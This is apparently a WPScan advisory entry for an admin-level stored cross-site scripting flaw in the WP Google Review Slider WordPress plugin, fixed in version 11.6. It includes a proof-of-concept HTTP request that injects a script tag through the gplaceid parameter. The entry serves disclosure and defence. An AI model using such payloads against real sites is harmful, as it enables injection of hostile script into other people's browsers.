WordPress Plugin Vulnerabilities
WP Google Review Slider < 11.6 - Admin+ Stored XSS
Description
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
Proof of Concept
POST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1 Host: example.com X-Requested-With: XMLHttpRequest Referer: http://example.com/wp-admin/admin.php?page=wp_google-googlecrawl Cookie: [admin+] Connection: close action=wpfbr_crawl_placeid&gplaceid="><script>alert(/xss/);</script><"&_ajax_nonce=<nonce key>
Affects Plugins
Fixed in 11.6 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
iohex
Submitter
iohex
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-02 (about 1 years ago)
Added
2022-12-02 (about 1 years ago)
Last Updated
2022-12-02 (about 1 years ago)
WPScan 